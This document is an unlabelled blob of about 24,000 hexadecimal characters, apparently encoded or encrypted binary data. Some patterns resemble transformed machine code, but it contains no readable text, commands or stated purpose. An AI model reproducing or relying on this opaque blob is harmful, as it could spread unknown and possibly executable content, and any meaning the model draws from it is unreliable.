41c04a73eba598045db400008362eeb7a81000004863ea89bf2e9456c0976ffb91983aa272e89f434d989f76fa80c25b9bc6895c1477fbb47b69227d337e7d41cb41c04a73eba584b862fb98992bb372e8a6063ac24183c499441962e0c4589e81c34a4263ef4763e384c19156a1ff726960aea7697a776469d8174545b57c41cb41d25972e8a692acc68954bbe16c227d337e7d41cb41c04a73eba584b862fb3bca69c5895519c35a9973f3bc665776faaf227d337e7d41cb41c04a73eba584b963fa99992bb2c3498acb47e47d9e8bcb6fc460cd4cbc60fd7e29400038c716160000e8d38541007c4b3714e888ca5950cb47eceb0f0084c34f8cc1d15040c1e17858c1f96850c1f15861171ecb6fccab8ebce1590133e864bc0300008545b572bfb8020200ebee3efcc8438b8f2bab72b2080000898c91cc5901e8774b2b00ccfa81c18c8bd65901e8714a2c00b771249fda5901755a95b208000089b45035590148c344279da12b00ccfa81c18c613c5901e887bc2c00b77124450059017570864b37149e39c778bbc5b82254420148c5a0d5ba430148c5c07d7576f37a1aaf0f00e86f592100b7c38e2d70590148c598dc9a520148c3404862de778920e74fc0a52a4ec3488b8939fe4ec38fc68ac3c7442060cb42c34acb7afb7571c1c1f8010000b7b73c8bcb469d11ca45ce40cb459e10cb6cee74ebadf388c3d7781478c3e7481c70c3ff506408c3f7586c00cb47e4611f9d0f8c131bcb6fccc8dd231600e828da1a0033e893c386aaf0560148c38707e38a791b0048c38e92c0560148c3870f4bcb42f1cfea3c725b0048cb40cb40cb78e36da499c386752f5601e86b512d00b7cba64e3c56010048cb47e47b980f84cb42f178b7da3c455c00cc84cb42f178b7da30495c00cc84cb6fc4c097a82800b7c5d9701478c3031890000048c1c5681478c34320f6e40500b7c3cf601478c38b48cb47eceb0f84c1d57834471fcb6fcc984700ff000fb86dbc5df3bd7137f32ba1f2b8010100665df3bb6358c38eb5f243010fb87ec6b8b34ca3c018cc99efc568640cc1c1681456eff5581478c5d97064cdc24e45cf4a3eeae8a75a008545b4c8b3b8f360143fb87ce8e289c3d7781c70cb47e47f9c330fbe5158c30a61e0000048cd45b477f30fff48c30a71f0000048cd45b477f30fff48c30a69e8000048cd45b477f30fff48c30a8101010048cd45b477f30fff48c5cc7979f9be06000048c5981e4a4001487169a0847f43c39b58cd57a677f30ffd4acbfb90e8747844c3dba8b0cd57a677f30ffd4acb43e069ca6be974be83c302a9210100e990780100cc84c1d5782c40c1e5483458c1fd503c4f1fcb6fcc68c30a79f8000048c35291cd45b40d31c580c38f40014873fab51925c30863e0000048cd45b415e2bb38752914c3007bf0000048cd4cbd6295ba397564f9320a2f00b7c30073f80000e85ea3150048c30063e8000048cd4cbd6295ba397564f950682f00b7c30073f80000e848b6160048c3006be00000e848702f00b7c30073f80000e87c442f00b7c3088301010048cd45b433c4bb3875370ac3008309010048c96817fe0000e898a02f00b7c3009b110100bf3f8000004863e427b48c2f00b7c300931901004863e427a59d2f00b7c3008b010100e8a9912f00b7c300ab210100e84da5000048c53e9b290100bdbb06000048c5f64370c588bb813e0148717eb7846e52c38447cd4cbd6691ba397578e5eed62f00b7c385e616313000b7cbfc97e874675bc3c4b7b0cd4cbd7e89ba397570ed0c2b3000b7cb45ce40cb44e768cb6eec74c4f9c34083c3d7781478c3e7481c70c3ff506408cb47e47fb653753000330084cd4cbd6854c588e19672004873f3bc64a8b9010000f0ffce40dd5d0100ff3f037b47000080bc0f84cd4cbd44631bcb6fcc68c588b2c5720048c3529173f3bc639c0add5d01008545b578e5c836160048c3402388af3000b7cb47e47b980f0084cd4cbd6e52c58881f672004873f3bc7a8d4b370fffce40dd5d0100ff370b7b47000080bc0f000084cb6fc460cd4cc68b1296000041c24a360fb445485958c30a61e0000048cd45b470f4b4450940c30a71f0000048cd45b470f4b4450940c30a69e8000048cd45b470f4b4450940c30a8101010048cd45b470f4b4450940c5cc7979f9be06000048c5987c573f01487169a0847844c39b58cd57a670f4b4450b42cbfb90e8747945c3dba8b0cd57a670f4b4450b42cb43e069ca6be974bc81c302a9210100e8ddca0000b7cb47eceb8bc1d5782c5f1fcb6fccc84d762c00b7c373738625173e01850d20ab0300747844c3130890000048cd5eae438fbd040000e8f2cc29006fd8c5021f90000048c39e1e585201e8ce26000048c35361bd040000e8a59b2900b7cd5eae73ee2f0931003384c3488bc3d7781478cb47e47f9c8bc1d5782c5f1fcb6fcc68c371b2cd57a63d01cd4cbd300cc3925173e1af704dc34929d271c19859c34122c5d10300b7cd5eaf566ac34023445201007cf86b1075615cc588023b3d014873e3ac7c40c340237a6e0300b7c34c2ce931f388c3d7781478cb47e47f9c8bc34f8cc1d15040c1e17858c1f96850c1f158611765dea1c1b8bf078d0044cf5e9dc37ab0fa58e3000043ce89175bc3756722ee5500002be91329b42fa389c243808920e54ac5873d7862d2bb4db8a31b82c7f5d9e57ae06e7362e541e2614eb8be84ccfed9e57be16e7362e542e169ca42c34acb68ea757e6ce357a671635deaa5bdc6b876ceb87de1e3bc6c9d4cb07f43c8d5a714ef41c8dd51447ee8adf4094b3714e042c24b884bc381cacf82ce40c3d7783458c3e7483c50c3ff500468c3f7580c691f9d0f84cb6fc460cd4cbd56cac2d500007a45b86151d0d075d9e40000737c474bc388c58077047e008b8fc52ae931f388cb47eceb0f000000000000000000000000008473eade8944c2000048c1e5480477161717161fcb6fcc68c1d578640dc67ab9c1fd506c01c263a4c5ed407418c371b4c3a9254dc7729f0069109b840000000049c25496c27fb877dc90522a105b440049c24531ea327f580048c3589bc3458fbe29534588474091964bf6bd73cc8196acc74e8dc34c8f73e4ab5f63cd6899526e63f4d0105f406669109b84000000000fb9be07b9a2178b840f8b9858c5cd4148ca6be9749fa263d6b472c488e5dec7ef407418c3ff506c00c3d7786408c3e7487c10cb47e4611e1e1f019c0f0000008c15141515171ec96dac44040048c38e69583501487bf78cc10da0240404004dc67ab8c263a4c76aa9cd4cbc6f52cd57a661fdc59a480038c716160000e83a674a001639d202004dc845b492abc84cbd95a9cb79f80d8d3ebe020048c115b81c3c040048c13d901434040048c135980c2c04004cc52588042404004cc535983c1c04004cc1f785b343a052b14ffabc76dedee19bc24c8e62ef8cbf02bdc5fd7149cb7df67f5d67c64582c74e8cc25c9ec2472491870100b6ca6eec0e87a62c02004ec5ef88cc6ec53750fc120200eb2a89993fa7c2458647a05abc4af70bead89b560048c35d9fc2478dbe295345be5765c74e8dc35d9a77dd926a53c6478067e5c1b9b4434eb9ba1d50c98c15998242c5df5348ca6be9749da1c24531ea9bd8560049c25c9ec2478dbe295345be5765c74e8cc25c9a76dc936a53c6478166e4c0b9b4434eb9ba1d50c98c15998242c5df5348ca6be9749da1c24531ea5a19560049c25c9fc3458fbe295345be5466c74e8cc25c9e72cc836b53c7458366e45f9fb9b4434eb9ba1d50c98c15998242c5df5348ca6be9749da1c25795c27499f6d873c885556b4bde9573e5ad6852c24531eaefaf550048c35d9ec3408abe295345be9caa73c88469564bde9472e4a8615fc24531eac282550048c35d9ec3408abe295345be9caa63d6b573c588605fc24531eaacec550048c35d9ec3448ebe295345bf9daa73c089320cc74e8dc35c9f73e4ab5068c7408767e4a969105b44000fb9b4434eb9ba1d50c98c15998242c5df5348ca6be9749da073ccf88adaa00000b7c3781abea80000b74bfeb573cc84506b63d6b573c5886d52c24531ea5b1b550048c35d9ec3448ebe295345b496aa73cc856c5663d6b472c78a605fc24531ea3e7e550048c35d9ec3448ebe295345b496abc24487c34c8f63e08262ef8c73fabd5a6a77dc94635ec7ed88cc6ac33550fc12020049b63a8c72e4d08c750b0200b3c7680a21350200b672e4ac635ac3d5b0cc6ec73550fc12020049b63a8977dce88c532d0200b3c774164b5f0200b3c727880424040048c337980c2c040048c33f901434040048c317b81c3c04004cc737983c1c040048c307a824040400487bff24b1298f00b7c94584440400411f1f1d019e8bc1d5782c5f1fcb6fcc6576e19ec75197c84cbc5964cd4cbc5964cd57a660fce4b84b0044ad1600008991f058024d00bbcf5892ca498ac3d7781478cb47e47f9c8bcd4cbdad91cd57a6a099c84cbc7041cc99fa3593c845b57041cc99fa2b8c67ea89c35a98c25092c272b0ca7a068a6054cb8e14988a4ab73d4644b45d61cb68ea749806ca60cb8e14988a4ab73d4644b47844cb68ea75724ecb6cee7492afcd7a8a7647cc9a5acd5eaef2ceca7a068a7b48cedc4de6bbc9de03b99a8c0000bbcc99f980db4c004499220000e9bea80000330084cb6fb410c38e685d3101487bf78cc1cd606473f38cc74182cb7bd86cc74ab204b18240242048b73f88cb7bd85c8c7a88e9f410b96698892be90cb9764363e708b9fa58342fa46a88b63e49c4583461cb8b8544b5a836f45e4eb9777bbb010000414eb97f4a62e64f8929ebd03166d05024556a56b63f85cf824dc14dbcaceaf388c3c76864087bff2402849100b7cb479c9b8ac24b2b02010f9f87003300008976f329e900000048c1d5782c5f1fcb6fac08c35192c372b1cd4cbc61fc72284d0038c716160000e8d78e4e00ccf32b892acd57a693af73f1b981bbc25b98c5c16804c868443b00b7c3c76814b3fa710875704db73420ce6dc5deacb7b7358273c18d7d05b9b4f4b24c111d719ba6c3408363e14962e04963f291b7344bfc581c38747844c3c76804a32209ab0300fdb5c3488bc3d7787418cb47841f9c0f0084cb6fc4c0a3aa1e00ccfa4d44cf9b554a4a89cb47eceb0f8c1514151514141717161fcb6f8c28c5e1481478c1d43d28c1fc1d20c1f40d38c38effd42f01487bf68dc1cc6564cf61afce72b1c35a9cc66ba8c5c04de8260d3c00743e3d880000857383724fc3ce4d83fb7cfb6a0d90000045ce4482c64f4f45d5c951e7400c2848cbe74004208361eaf73d3deab2e94e004c2f937545b57234cc1618f1000049c275b64bfcb7c5c25f5873c2b153db88cd44b5013dc5c25f5873c2b153db886be289753d04040048c5ca57674d7273c3b053d2816beb80c5cc4e4773fab67d42f0480f0000000000f047cb6310181e838a00b763cba8c5d1781478cd5eaf0dbec4cf00cc00ebf75473c3b053d2816beb20537e3a00b7c35390cd45b47ac9c7dd00dd0048cb40d3fbe931e893cd5eaf3c04c74cf4e19ac34023f39e7a00bace448bcdfd500c65c64f8cc1d578049abb0100008b4531eacb934d008545b46e56c7060d80000044cf4b88c35892ca4632ea510a4e008b7313e931ccb7cd5eaf6559c5c6bb71b8e400dd007570ede8c53a007ffd6518747f43c3ce45832308ab0300fd764c8fc3c66d687bfe2561e59300b7c3d63d28c3fe1d20c3f60d38c5e855711e1e1f1f1c1c1d019e0f00008c1514151514141717161fcb6f8c28c5e1487418c1d41d08c1fc3d00c1f42d18c38e436b2c01487bf68dc1cc4d402b3e3d2dc672b1c1dc5545ce63a0c3727c5ea56a5cc3589ac2422183660d003bf84ed5597d7e89539ccffe0d3dc07383724fc38c43cffb7cfb6a1d80000044cf4086c64c86ca45d5c951e7400c2848cbe74004208361eaf73d3deaca934c004c2f836545cf8bff79020049c25f9df1480f0000000000f0474bd19ac5c75a5873ea9953db88cd44b5063ac5c75a5873ea9953db886be289753d04040048c5cf5267407f73eb9853d2816beb80c5cc4e4773fab6744ac24b88cb631018c65a8b00b763cba8c5f9507418cd73f98b7efb0100c7c1ca00cc00ebf75473eb9853d2816beb20072c3c00b7c37bb8cd45b47ac9c7dd00dd0048cb45d6fbe931c5becd73f98b41c4010044cded400c6ccf4086c64c8fc1fd50049abb01000041ca4531ea0f564c008545cf8b1b9e010048cbe740644045ce4784cbe7401c384cc74d8ecbe740143041ca5e99c7f67d83e7400c2849c24487cbe7400420e810363100b72b9b7d45cf8be663010041f9b804040045c06d9c26d9ce35f545cf8bca4f01003bc3f780cb45010048cbe740644045ce4784cbe7401c384cc74d8ecbe740143041ca5e5ccd600c61c24487c3ce2d20c1cd6004c87751310074737d45cf8a890d0100e9ec04010048c35c9f4bd19ac5c75a5873ea9953db88cd44b5023ec5c75a5873ea9953db886be28872fb88c5cf5267497673eb9853d2816beb80c5cc4e4773fab67d42f0480f0000000000f047cb63101830aa8d00b763cba8c5d1787418cd5ed48b20a40000c7c4cf00cc00ebf75473eb9853d2816beb20715b3d00b7c35390cd45b47ac9c7dd00dd0048cb40d3fbe931e893cd5eaf073bcbe740644045ce4784cbe7401c384cc74d8ecbe740143041ca5e5cf5580c61c24487c1d57804c83a1f32007a45b4467acbe7401c3833e19a6975701474cf4444ce353cc74882ca454b45b5134775700c6069757004dfeab7e84a008b737d45b51528c5c6bb71b8e400dd007570ed230a3e00ccccb7cd73826559c5c3be71b8e400dd007570ed5b723e00744c8fc3c645407bfe25a5249600b7c3d61d08c3fe3d00c3f62d18c5e875511e1e1f1f1c1c1d019e4acd600c60c3ce2d20c1cd6004cb7fdcc5c6bb71b8e400dd0075d24f83aa3e00144b6c84c1d5782c40c1fd5034471fcb6f9c38c379bbc25291c35a90ca73b0c5c16874b833654100740fa0e4c0000048c5c1687cd1cd60640cc740400fa09cb8000044cf4c4ecd601c70c35d5d0fa094b0000089cd601478c30fa08ca8000048c1cd600ca30fa084a0000089cd6004c8dbcf03007ffc584c68747844c3c76874d32209ab0300fdb1c1d1785439c2d04b59c2f86b51c268bc9c0f0084c1d5782c40c1e5483458c1fd503c4f1fcb6fcc9afa4000008b412240693e00ccc5bec35390cd45b43804c525a81010004873feb14975c5f54878c5c29f9576f37a1aaf0f00e825063400b7cbccb707b7c1bef0804f08000a00cc814b068ae76af5b8c8ff7946c5f23f08c5ca979873feb0b28fc378c0fa21bb933f00b7c3d7781478c34d8ec3ff506408c3e7481c70cb47e47f9c0f000084cd4cbd3e02c1d5782c40c1fd5034471fcb6fcc68c53cb110100048c35291c372b173f5ba665ac34430ea8cd1480048cb44870873c58b9ba6c3402310474000b7c3d7781478c3ff501c70cb47e47f9c8bc1d5782c40c1fd503458c1f5583c59161fcb6fdcbb7ac2e850484278f92020000f9d524545b560fdafec540044b20900008991f0034256007448288fddbe070000e881ae38006fd8c370b3c1d57804ab8e2f6e45013bcb8c4777c1b0225f4101497025e38b76e9c9ca42540100b6c08dfbb7cd45b57088d554e7f2928efbbd4201834380c98cf0b6420148b7388fc1f55804cb2a78be070000e88da238001473d0c3d7786408c3ff506c00c3f7587418cb47f4711e9c0f842baa81c598ab813e0148c34a4262de778939fe4e8920e74e4b0fce8ab7da98f54800cc842baa81c5988fa53e0148c34a4262de778939fe4e8920e74e4b0fce8ab7da84e94800cc84c1d5782c40c1fd503458c1f5583c59171ecb6fcc682bba5c4cb10a4926431d4201731922c370b7c1b8676d3e018364d877c378bb893ff84e8926e14fc28ff200b27c003975330fcbff4410d78b4bd748a70700837bf97452a25eaf623df3ac7f30e3ad6ea24d0b000014e7b54c0a000014eebc4f090000cce12dea9dcf470049c28ff2becbcf7410d7ccf32bfdfe0948560038c709090000e85e1f56007ca320834b37b7c3d7781478c3ff501c70c3f7586408cb47e4611f9d0f0084cb6fc4ab7a078b60fd622356007ca320e84a0b560038c709090000eba5cb4cb14a093691de43017359622bb299c5809dae3f0148c3494161dd778939fe4e8923e44ec38fc537b254283975734fc3cf5438c3f7f4d79656007ca320e8bffe560038c709090000e8145b5800b7cb4b37b7cb47eceb0f000084cb6fc4ab7a078b78e5da9b560038c709090000eba9c74cb1561536216e430173556e2baa81c598351e3f0148c34a4262de778939fe4e8920e74ec38fc6cdb9f24c30bb63a0abf9fa1b5b570038c709090000e8703f5800ccf388cb47eceb0f84c1d5782c40c1fd5034471fcb6fcc68c35252ca5530273f3e773fc1ca55bc68b437c8b21252718be2711048c3fa7940c1b8b47a8151c7e9e8160074438ccf4c8fc35d3e08ec0c003bc38c7efa73c85f04934b3714fa9ac857d529eaaaa97571f573e077e9cef388c3d7781478c3ff501c70cb47e47f9c0f8c131bcb6fcc68c35291cd4cbc7f42cb47e47bb2a9400000e8839400007a45b471864b3714f494c857d529e3a3a975675bc3402364641700744320d53b06008545b5abedf388cb47e47b980f75b8010000e9eb020000cc0084c34f8cc1d15040c1f9684f161717161fcb6faccb7a72e3accc83e3a8c8b9b1080000e8cce03b006fd8c3b679054001482b66307440014cc1b9f386c24c30b7c1f5580c6172c58a0539c39457c1d5784c20c1d5781478cd5eae77e9bc1fc34023434216006f1bc857d529e5a5a97548bf7dff74665bc34023c3d40000be7afcb35ed5bb6000cfcfa1738355abc857c53940a975635fc34023e3f4000074df7004617afc864e4b935edd700468c3402380811600b7cb44cfe36e3cb1080000e8341f3c0074cf6004a37dff0e4b0060006cc3d7784428c3ff505438cb4784011e1e1f019c8bc1d5782c40c1e5483458c1fd503c4f1fcb6fbc192aba90c2737379bac362acc04cb76a5cc3589ac24320818c1a00c4f84ed5597d7e895390cbe740644044cf4083cbe7401c384cc74c8fcbe74014308b5d5d0fa0ac88000048c34644cd600c60c30fa0a480000048c1cd6004c806283900b7c3d7784428c3e7484c20c3ff505438cb47940f9c0f84cd4cc68b84010100531bcb6fcc68c35291c3c251507336d1f72a017471ed1d4f4500b7c3c06b687336dff92a017471ed0b594500b7c3c063607336c5e32a017471ed396b4500b7c3c07b787336b3952a017471ed57054500b7c3c073707336b99f2a017471ed45174500b7c3c00b087336a7812a017471ed73214500b7c3c003007336ad8b2a017471ed61334500b7c3c023207336a3852a017471ed9fcd4500b7c3c03b387336a98f2a017471ed8ddf4500b7c3c03330733697b12a017471edbbe94500b7c3000b80000048733680a62a017471edd6844500b7c300038800004873368dab2a017471edc1934500b7c3001b9000004873367e582a017471edfcae4500b7cb47e47b980f0084cd4cbd12351bcb6fcc68c35291c382417336b0972b017471ed06574600b7c3c043407336be992b017471ed34654600b7c3c05b587336a4832b017471ed22734600b7c3c013107336d2f52b017471ed50014600b7c3c02b287336d8ff2b017471ed4e1f4600b7cb47e47b988bc1d5782c40c1fd5034471fcb6fcc13ccb7c589d599c37bb8c3529163dab9cb45c14f892fed4b73f3804748b0bfcd7382605cc380e38edf4600b7b7388fc5d6534073c58b99a4c3d7781478c3ff501c70cb47e47f9c0f0084cd4cc68b7afe000048c1d5782c40c1e54834461ecb6fcc9dba07000048c352525e3d697e0000b7c5c673b35e3d9e89000072f8708e5d9ec5c63b9880970000b7c5065bd000008b5d3eb2a50000b7c506bb3101008dd8ae13a3b40000b7c300cb410100e837674700b7c300c3490100e83b6b4700b7c300db510100e82f7f4700b7c506eb6101008b5e3df1e60000b7c506139901008b5e3de3f40000b7c5065bd101008b5d3e15030100b7c506bb3202008b5d3e07110100b7c5061b9202008dd8ae13081e0100b7c3002ba20200e89ccc4700b7c30023aa0200e880d04700b7c3003bb20200e8b4e44700b7c30033ba0200e8b8e84700b7c3d7781478c3e7481c70cb47e47e9d83131bcb6faccb5291c5c16804c82e734a00b7c3cf600c27b9659bc38307b8b355742580800080fc581c38747844c3c76804a32209ab0300fdb5cb47841b980f84c1d5782c5f1fcb6fdcb3e7400420b9b1080000e8471040006f2bb803000089d578001f26a2833d01741a262b98b3c38ebe873d0148c38ffcb0cd45b577e9bedec35cd528e4fb37c0756d51c38693a23d0148c387f511c9331200837b078b70fbbb600468c38e80b93d0148c387f4b0cb42f1cfea0257400048c3867d4c3d0148c387f5119fc04800b7c38e655c3d0148cba7dcf8ff3c286d3fb1080000e891c6400074cf600468c3d7786408cb47f46f9c0f008c131bcb6fcc68c35252ca55d529e5a5a97553acca55d529eeaea9756955c3c241e0ce9148000f71e277ab410100ccf388c1ca4b40c18a8aca5358cb47e47b98f0f3f839757a4673f9b67d41b73f40bc34087587310f0000478eebd53a01c30f84c1d5782c44c5c56804771fcb6fcc69c272b0c2535381e2485708006fd8c3884b2b6b40c35a99c34a898939fe4ac188556736018361dd778923e44fc28fc436b25428397550cc9d8d0700b7c34337eabd973f0033e85e45b56bf611585e00b7c35327ea614b3f00898aebe1ab5d0038c7090900008348347484e78996080074488bc3d7781478cb47e47f9c4ac5682c40cb6fd4702bb25279048b78e53f765e0038c709090000eb87e94cb120632ec4eb3b01732318c34186c188c0f337018362de77c3498a8939fe4e8920e74fc28fc436b24c3039755965c5c96064c9dd7074d9dd707c14c1c1687418c5d9707c10c1cd60046cc1c9600468c5c1686ca01503010014f8fb86cf5e0038c709090000e8fbb35f007c4b37b7cb47fcfb0f000084c1d5782c5d030116151514141717161fc367a4c96d6c80000048c38e564d1f01487bf78cc1ccb5b82b91bac588370437014cc775bbce6aa8883ef98565d9778927e04bc67bbcc5cc9d90c352944ee3aac18ffcb0c3cf741860c1cc952fea644f3e0033e15bcc8984c19a5ac27577da5b4576cffb8ce765010044cea563c1b8d5d5340166efdc958bc09fea74c67e0fcb37c5706a94ce760cbe611a73c47e0f7cf9ba02000048c5d8b568cda5a4cce58c0aaead505a1d00f0b9b9b5ba80800066e3915c3c5d6072c7f38c6cef000041f9ba02000048c5c08d88c35c3f330521007c7b07f08b70f4000048b7382cf05af9b901000048c35c9fc5c08d28536521007c7b07f08b50d4000048cbe7401c3848c5c8ada0cbe74014304cc1c8854bc6818df8b8010000c783600c2d05000033e19ac1cd600468b73838ea58703d0044cf7b7545cf8b1094000048c3c69d9cc1c08580cbe740042048c5d8bdaccf4b3fea6a423d0033e15745b41fe0c043236695dbcc46c24f407d4cbdba1023c17df77f417cc3c69d5dcf4f45c1dd700464c9cf4349c5d891a2efcc8188c1c08537ea557d3d0033e15745b458affeb5c9735cd1bc4bf7bc474d72c7155f480100758d4cc087f276cc750f75c08ffa7ecc7c0d39fbbc47efe3f7eaf5dc3c00898a4bc3488bc3c6bdb87bff246fdca400b7c317b8e4c0000048c94544800000411e1e1f1f1c1c1d0301039e8bc1d5782c40c1e5483c4e011617eee8441400e8ec609b00b763cba8c38e4f561d01487bf78cc10da06454140048c352952fb19bc24983ca62a18939fe4ec580152c350141c261dd764aeb6ba02349c27b73e0670448c38fc542e06b08498823e448c5ff64386477feb61c27c5f158640873ce8657ae8c4eb739fa367f7cf6bc4bcec10a45b7384f8f4fb7388fc509a01b2b14004873c38aa59fcbe740042048c5c960646bd3b4c1c1681474cf4c8fc5d9706409c24531ea351c3c008545b46699cf60143142473ffcb57d4773ce87e970e3f7eac9e73b00898a4bc3488bc307a864541400487bff249725a500b3c111b87444140049c2d07b69c2e05b79c268a21f01019d0f000084c1d5782c40c1e5483c4e011617eee8441400e8149e9d00b763cba8c38e47591a01487bf78cc10da06454140048c372b52fb19bc24983ca62a18939fe4ec5801d23320141c261dd764aeb6ba42749c27b73e4630448c38fc542e46f08498823e448c5ff64386477feca8c0182000048c5d178640873ce86423eb8b14ecb45c464e57bf27f6593c44f0abbb40d000066ef8243cb40c164ef8a4bcb40c14ac509a01a2a14004873e3aab882cbe740042048c5c960640863f394c1c1681478992ab3c5d9706443d892c2458acf483cea143a3b008545b46699cf60143146433ff8b17d4773ce87fa63e3f7eaa8873a00898e4fc34c8fc307a864541400487bff248839a600b3c111b87444140049c2d07b69c2e05b79c268a21f01019d8bc1d5782c40c1e5483c4e01161515171716efc8641400e834bd9e00b763cba8c38e27381b01487bf78cc10da0447414004c2fb19ac35290c24987ce7ab98939fe4ec580fdc1300141c261dd724ef3b98823e44bc673b1c273b0c38fc58fc5ef74381bf343a02348c1ca474976fdc98c4ccf000048c5c960741972c58d5e22b8b847cb44c564e57af37f79b6b70d000066ef9958cb43c264ef8140cb43c24ac501a8dcfe06004873fab3bc86cbe7401c3848c5c1687418cbe74014304cc1c960741863ea0683600c7d580d0048c501a824070700489929b0c1c5680464cf43715014fd0033e12dea614d39008b636d45b43d7ac57345b4477bcbe740042048c519b0240707008b4582c1c1686404cf4e8d4bd298c247886fed39ea8ca039008545b46c1b7750647bce87bf464c866aec4eca474d72c517dacc000000ea5a763900898a4bc3488bc307a844741400487bff241aa5a800b3c111b85464140049c2d06b79c2e02b09c268a21e1e1f1f1d03019d0f0084c1d5783458c1fd503c91c5682c5f16151514141717161fcb6fcc65ce73b4c769aa2bba5a78058b6df082f164007ca320e86a19640038c709090000e979900000854cb10c4f26644d3501731f24c378bfc778ba883ff84ac1a04b5631018365d9778927e04dc0cfb1f50fb9fa7c08bb62e07531ce402369710f007c4c30b4c0cfb1f5f6b27408397460fdc1b2640038c709090000e8166465007ca320ebe44ace4c8ec25f5f4023a84000008b73734023839b0f00744c2cf0f3324065007ca320e81a68650038c709090000e87f0e66007c4b37b7c3d7787c10c3ff504428cb47e4611e1e1f1f1c1c1d039c8bc1d5780475030116151514141717161fc367a4cb6f8c53ccbace73b42f82a9c379b7c045b57234f3297299020048cd57a76af79cee650076b1d06517650038c716160000e8daab66007c4b37169e7502004dc67fbcc58879532e0141c265d972c667a5883cfb4f8827e04ac5e49dbac187e4aac8d66d08b4cebcc33d767e48ca4c302778a975dfe9b4b2750918547a3de193ca4788c9cf40ea7a9a080041ca4784c1f49d080a120f007a45cf8b8500010048c5881a302e014ac18fecaab4b27408b88f8b6eea0000e8762d4c00b7c303189000004871808139010075635ec588f6dd2f014ac18fecaa7a444c09368b3bbf000048c588d8f32f014ac187e4a0c5d8adb2c1c77d19d7ea0f2d37008545cf8b199d0000845faf0f85354b7bfa0e88ac2a0100215cad9ec3a91a0de897c77577d4899d72cffb8c8a080100454ab8986e4eb87a2536d6080066277afeb046b040c18bd489b227c27ef77f6e5afcb00d000041ca462555b5080066277afeb067ed3c4ad4892b388eca44c54f76c78f78e05145eab291360089cc959cc7e69d1958b1000045ce4487c5c09d9cc74d87ca5f3c253a08000dfd1f108bf370e17198000048c5881b302f014ac187e4aab4b27509b8f43942b1754f5faf46b16ae8756d9a7af8740c3cce4487c5c09d9cc74d87ca5f3c736105001457f9ce4487c5c09d9cc74d87ca5f3c4b5804001443edce4487c5c09d9cc74d87ca5f3c83920600147fdec1c77d1964c1c099f55cade3f3886965600465ce4c8fc35d9ec1cc912bea371436008545b57cf6eae5c5350089cc955bf6a52afd1f559522fd1e54a5a8c3cea5a88929c8a545b51de3cea56545b459ae7bfd706ef3b7c7670038c709090000e8dcac670038c705050000e92e3a020074c6ad08394668001653470200b7c588446c2c014ac18fecaab4b2740878347d89be24158bff86020017f383670038c71c1c0000e8186768007ca320e96f7b020074cea1cfec8fc317b89cb8000048cb47a4211e1e1f1f1c1c1d0301039e0f00000000000084cb6fb43e69700b5004a3be727e3001000f8a6ceb0200666927f0be6927c886697ca0e7522e4771bea669f4e682e57a00666927c08e695b794e197a006669200276217a000f8b01870200666927f823fce915956958ba8b6920eaca89a92d02006669d4ce92fd7a00f2fd53792a747b006669201aa2ec7b000f8b5cd9010066695b71cc927b004cc743806b266a157a004c6f2e75027a00499830a84ac2a72e4761a6ae69200aa0fe7b000f8d5ddf0000488929c44a69e4fec6a97a006669e4e6c6b17a004cc18039b88c00f2fd539638b34e5655cda76927f9b76927e98dc180f6807b00f2fd1f0d0e687b00f2fd1f1dd6a17a00f2fd568328fd569338fd569ba46927c812fd5745fe997a00f2fd5755a6d17a00f2fd56b912fd568328fd56913afd5745aacd7a00f2fd579238fd56852efd579339fd1f3d0e597a00f2fd5654d6a27900f2fd56b71cfd53b51bb34e1f14c589c59883158300f2fd1f04d630fd1f35cc907900f2fd56bf14fd579c36fd578d27fd579aa469601b500468cb479c9ba5000000000069109b8400000000f2fd1f05cda17900f2fd5359e5997900f2fd5788b66927e03afd519438fd1f35f9a67a00f2fd1f3dd98e7a00666927d802fd56a803fd5791af6927f923fd568823fd56bb10fd56b318fd577d85da7a00f2fd577595c27a00f2fd568823fd56bb10fd568b20fd568823fd56b318fd1f0529457900f2fd57bd17fd53ba14fd1f2529657900666927f0be69d4c6bdda7a00f2fd539f31fd57b8866927eba56927e43efd56bb10fd569b30fd56973cfd56872cfd579c36fd579933fd579ba569601b500468cb479c9ba569e4fe34587900f2fd53490c607900f2fd1ffa8c69d4ce68057800662e4771aeb6697ca6e15269f5d7b6e27900f3fce9131c180c020099f6e56becfd1f1dfb81770044cf8e2a557a00e832dd0700eba347109b8400000000f2fd1f1df58f770044cf8e106f7a00e854bb0700ebc14c0069109b840000000048733eccbe770074635f733eb5c7770074ba86430ed2a07700662e4761aea6f6f669601b500468cb479c9bcc105b4400487bf3052492a3e4f0251887be05241ae6a6cc7700c53f1c15363c22f652087700c53cd6025a0077000f8bc5430200c5143e02283cd6eaca8965e20100c53c22cebedc7700c53ea779164b7800c53cd61a8ec378000f8b0a8f0100c53c22d690ea7700c53c22c6b8d27700c5249280f2c424351d0d251887b60d1c02feca977800c53cd60a82df78000f8d33b10000488929c4e92c02fee0827700c5341ae6e09a77004cc1805bdf8900c536af960e05b22a55cd8dc180285c7900c536aa98043eeb0d24417800c53eeb3d2c797800c4261358b405607800c42613588482d87700f2fd1ff024261358b4ef857700c53ea2b924263368710c260358750936aa54116b7700c53eeb3d79237700c4262b62421bb34e1f14c589c598c7528000f2fd1f04d6072eb38d11262b70bc25577700c53ea39a073c961b500468cb479c9b53553eeb053d5f7700c53ea75935477700c52eb388153ea5940f3eeb3515487800c53eeb3d65307800c53ea2a83436ab910c36aa8815260b408c267b7800c4260b408437627800c52eb288141e82bb272eb28b172eb28814168ab32f1e83bd201e87ba233c22c60b6e7800c53ea79f061e83b8251e82547b007600c51e827c5b087600c526ba5c73007600c526ba4443287600c53ea39c013ea399043ea39b063c961b500468cb479c9b062c02fe9af97600c52eb74992f17600c514a2a1e6f12c32ceff9f7500c53cd1ea07142bd723797700c53f1c131ca9be0100f0105b4400755beb3eeb1d6b13750044cf8e9ae87700e8a24f0500c53c961b500468cb479c9ba500000000000069109b8400000000c53eeb1d552d750044cf8e70027700e8f4190500c53c961b500468cb479c9b53d8733e2c5c750074536f733e1565750074ba86430e32427500662e4761a68ccf8e46347700e80ee20400ebef0b105f40c53c961b500468cb479c9b0f84c1d5782c40c1fd5034471fcb6fcc682bba98ca73734083c3791a89891700b7cb7b078a64f9e69c6d0038c70909000048cb4b3714b817cf4483c1c9606c00c35d9ec34337ea576d2f008545b57af0ea5d672f008b432085fc6e0014389bc3cf606c00cb7b078bbc80c3589fc188d7f427018361dd77c340838938ff4e8923e44fc287c448e47529c5b5c3d7781478c3ff501c70cb47e47f9c0f000025b6a0000033000084c1d5782c5f1fcb6fcc68c35291cd4cbc